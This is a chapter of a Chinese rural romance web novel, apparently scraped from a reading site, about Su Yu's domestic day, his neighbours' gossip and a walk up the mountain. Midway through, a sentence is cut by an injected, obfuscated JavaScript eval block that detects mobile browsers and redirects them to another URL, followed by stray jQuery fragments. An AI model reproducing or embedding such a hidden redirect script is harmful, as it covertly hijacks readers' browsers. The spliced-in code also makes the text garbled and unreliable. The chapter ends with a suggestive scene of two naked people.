第二日一早,苏羽起来煮了一锅稀饭,其实在他们农家,像现在不是农忙的时候,早饭一般是不吃的,但想到林枭这个高大的体格,且通过几日观察,苏羽发现他有吃早饭的习惯。
林枭喜欢吃肉,昨晚腌肉前特意留了一挂出来,切一半洗干净,跟剩下的那颗白菜一起炒,放点辣子进去,配粥刚刚好。
吃过早饭,林枭淡声道:“我去砍柴。”
要做腊肉就得烧火,肯定会费很多柴。
说完也不等苏羽回话,带上柴刀就出门了。
苏羽把厨房收拾干净,又去菜园子里转了一圈,经过一夜的恢复,菜苗算是活过来了。
石钰还没来,苏羽就把自家的衣服先洗了,等会还要剥栗子,这个花时间,且也可以边剥边打讲,毫不影响。
苏羽刚晾好衣服,石钰就来了,还带来了另一个夫郎。
哪天他们成亲时见过,叫梁文文,人比较内向,不太说话。
苏羽庆幸自己刚才洗了衣服,因为水井旁只有两个可以洗衣服的石墩,平时他们家这里没人来,两个够用,看来等枭哥回来得叫他再去搬一个,不然以后要有人多来就不够用。
苏羽让他们一人在一块石墩上洗。
石钰见他已经把衣服晾上了,打趣道:“你起这么早,衣服都洗好了。”
苏羽不明所以:“昨晚睡得早,况且我昨天不是是说了我起得很早的嘛。”
石钰挤眉弄眼:“枭哥让你那么早睡?”
苏羽边高声说话边快速的进屋把那背篓的栗子背出来,又拿来三个小木凳:“怎么不让,他看着凶,人又不坏,还能不让人睡觉。”
石钰心道,难道是枭哥知道他们今天要来洗衣服,所以体惜苏羽,收了力道,如果是这样的话,那他们以后都不能来这里洗衣服了,怕被灭口。
石钰正想转移话题,苏羽一直忙进忙出,就有点扯歪衣服,露出刚刚被衣服遮挡住的脖子上的红痕,伴着轻微的牙印,看着还挺狂野的,但刚才又见苏羽健步如飞的走进走出,跟个没事人一样:“你就没有不舒服的地方。”
苏羽面露不解:“没有啊,好得很,你今天的问题好奇怪哦。”
石钰解释道:“枭哥不是说你今天起不来嘛?我就好奇好奇。”
“他可能是想让我多睡一会,我只有刚来前两天不太习惯,所以起晚了一点,这几天都起很早。”
枭哥对自己确实挺体贴的,他也不愿在外人面前说他乱说话得毛病,但他又没有赖床的习惯,只好跟石钰如此解释道。
刚来前两天,有点怕林枭,又在一个陌生的环境,晚上睡不着又不敢翻身,自然起不来,他可不是因为懒。
石钰一阵坏笑,长长的哦了一声:“没想到你适应能力还挺强。”
枭哥看样子床上应该挺厉害的,苏羽虽然个子比他们高,但整个人看起来瘦瘦小小的,没想到适应得那么快,只两天,就跟啥事都没有似的。
他和林杨刚成亲那个月,可是每天早上起床都一阵腰酸背痛。
两个人内心想法相差十万八千里,说出来的话倒是有问有答,毫无违和,看透一切的梁文文在旁边笑而不语。
苏羽用刀给栗子的屁-股切开一个口子,等会放水里煮上两分钟,就更好剥皮了:“主要还是枭哥人真的很好,很照顾我。”
虽然昨晚他看起来很生气的样子,但他生气又不会打骂自己,还抢着干活,所以苏羽才能以最快的速度适应这里的生活。
虽然说出来可能枭哥会生气,但他还是想,如果一辈子能这样过,做不了真正的夫夫也没关系。
也不好总是聊别人夫夫间的事,开一会玩笑就过了,石钰换个话题道:“你捡了这么多栗子,打算怎么吃。”
昨天去借花椒时就已经跟他说了上山去捡栗子遇到的野猪,但今天见苏羽这架势,像把半背篓的栗子都处理完一样,石钰就好奇问问。
“我打算做点栗子饼去县里卖卖。”苏羽也不瞒着。
石钰:“你还会做这个?”
苏羽:“小时候我娘教过我,我们村那边有个栗子林,我自己也做过几次,明天做好了请你们先尝尝。”
现在家里没有面粉和糖,等下去县里买,明天才能做。
石钰和梁文文连连摇头,异口同声道:“那多不好意思。”
人家做来卖钱的东西,客气的问问,他们就该懂事的拒绝,怎好占人便宜。
苏羽诚心道:“这有什么不好意思的,我也没做去卖过,心里没底,你们能帮我参考参考,提提意见,我感谢都来不及呢。”
他们家现在天天都入不敷出,坐吃空山,他迫切想要赚点钱,但除了做吃的,种种菜,其他的他也不会。
做吃的之前也只是家里人说好吃,不知道外人的口味怎么样,多个人给他肯定的话,他也多有点信心。
如此这般说了之后,两人才不在客气,答应下来。
石钰见苏羽做事有章法,想做什么就做什么,羡慕道:“哎,你们这样真好,上头没有老人压着,两个人过日子,只要夫君疼自己,日子就不会难过。”
没田没地,日子苦点要么紧,心里舒畅才痛快。
苏羽刚来,还不清楚他家情况:“你家婆看着很好说话的样子。”
石钰:“有些人,面慈心毒。”
“啊!”真的完全看不出来。
石钰越想越气,不吐为快:“远的就不说了,前天我去山上砍柴,突然下雨,她在家,把家里所有人的衣服都收了,唯独不收我的,你说,这是一家人能做出来的事吗?”
“……做不出。”在苏家时,就算叶小巧不喜欢他,下雨收衣服也会帮自己收的。
“还有一次,我出去干活,他在家带孩子,孩子拉粑粑,他硬是不给孩子换裤子洗屁-股,等我回来了才嫌弃的对我说,把你儿子拿去,臭死了。”
“她可能是天生不爱干活。”说难听点就是懒,但苏羽很少议论长辈,难听的话他说不出口。
“她只是对我和我的孩子这样,对大哥的媳妇和孩子就是捧在手里怕摔了,含在嘴里怕化了。气人的是,在村里人面前,他就是个疼孙子,勤劳的好奶奶,慈祥的好婆婆。”
所以她才不爱去村里排队洗衣服,那些个老夫人,仗着辈分高,总爱对他们年轻的说教,他家婆说什么,她们就信什么,整天说什么他得这样的好婆婆真是八辈子烧了高香,听得他想吐。
通过几天对石钰的了解,苏羽发现他是个心直口快又勤劳的哥儿,也不是那种小气爱计较的人,就这样也不得家婆喜欢,果然
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438275|169302||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
家家有本难念的经。
石钰要洗一家十一口人的衣服,要揉搓干净,完了过水也要过几遍,免得又皂角残留会腐蚀衣服,加上孩子的衣服比较脏。
衣服还没洗完,林枭就挑了一担柴火回来。
石钰和梁文文跟他打招呼,他冷淡的嗯了一声,把柴火放在屋檐下晾晒,就又出去了,一句话没跟苏羽说。
石钰感慨:“没想到枭哥在你面前也这么冷淡。”
苏羽为他辩解:“没有啊,他平时不这样的。”
石钰:“他平时在我们面前就是这么冷淡的呀。”
苏羽疑惑:“有吗?”枭哥在自己面前一直都不太正经的样子,话也挺多的,跟冷淡完全沾不上边。
要是他一开始就像今天这样黑着脸对自己,大概到现在他还会怕他吧。
“不会是怪我们来太早吧,所以迁怒于你。”石钰越想越觉得有这个可能。
“不是,不是。”苏羽连连否认,但他又不想说出林枭的隐疾,况且他还那么在乎,只好撒谎道:“是我的原因,我惹他不开心了。”
不得不说,苏羽误打误撞居然命中真相。
两夫夫之间的事,石钰也不好打听太多。
洗完衣服,并相约明天还来,他们就走了,回去还要去打猪草,即便现在不是农忙,农家人也是不得闲的。
苏羽给半个背篓的栗子都开了屁-股,剩下的暂时先不做处理,先做一些试着卖,看能不能卖出去。
把开了屁-股的栗子放进锅煮片刻,再捞出来放放凉剥皮。
这些都做完了林枭还没回来,栗子饼要用的面粉和糖等下还要去县里买。
苏羽在家无事做,干脆也上山去找找看,有没有什么野菜,中午不能只吃肉。
这会儿山上砍柴的村民还是有一些,基本上都是一些大娘、大爷或者年轻媳妇。
他们这里离县城算近的,这种农闲的时候,汉子们一般都去县里找工做,补贴家用。
苏羽走了一会,遇到一个陌生的大娘在这边割枯草,枯草易燃,引火用的。
大娘似乎也没见过他,好奇的盯着他看了一会,自来熟的道:“小哥儿真好看,你是哪家的亲戚?”
村里进陌生人,大家都会问一嘴,见怪不怪。
苏羽笑道:“多谢大娘夸奖,我是林枭的夫郎。”
大娘恍然大悟:“林枭家的啊,只听说他成亲了,没想到娶了个这么好看的。”
苏羽招架不住大娘的连连夸奖:“大娘,你有看到林枭吗?他说上山砍柴。”
大娘给他指了一个大概方向,苏羽道了谢,辞别大娘,沿着山路一路往上爬。
来到一个人迹罕至的地方,还是没有看到林枭的身影,他不敢继续往上走,正想转身回去,突然听到奇怪的声音从草丛中发出。
苏羽有点害怕,呼吸都放轻了一些,很怕惊扰到声音的来源,当即放慢脚步要离开。
自己的声音放轻,草丛里的声音就更清晰的传来,有点像成亲那晚枭哥在洗澡时发出的声音,难道是枭哥,苏羽心里疑惑,好奇的向声音发出的方向走去。
然后,他看到了,灌木丛后面,有两个不穿衣服的人,一个汉子,一个哥儿,像陈维给他的那本小人书上的画面一样搂抱在一起。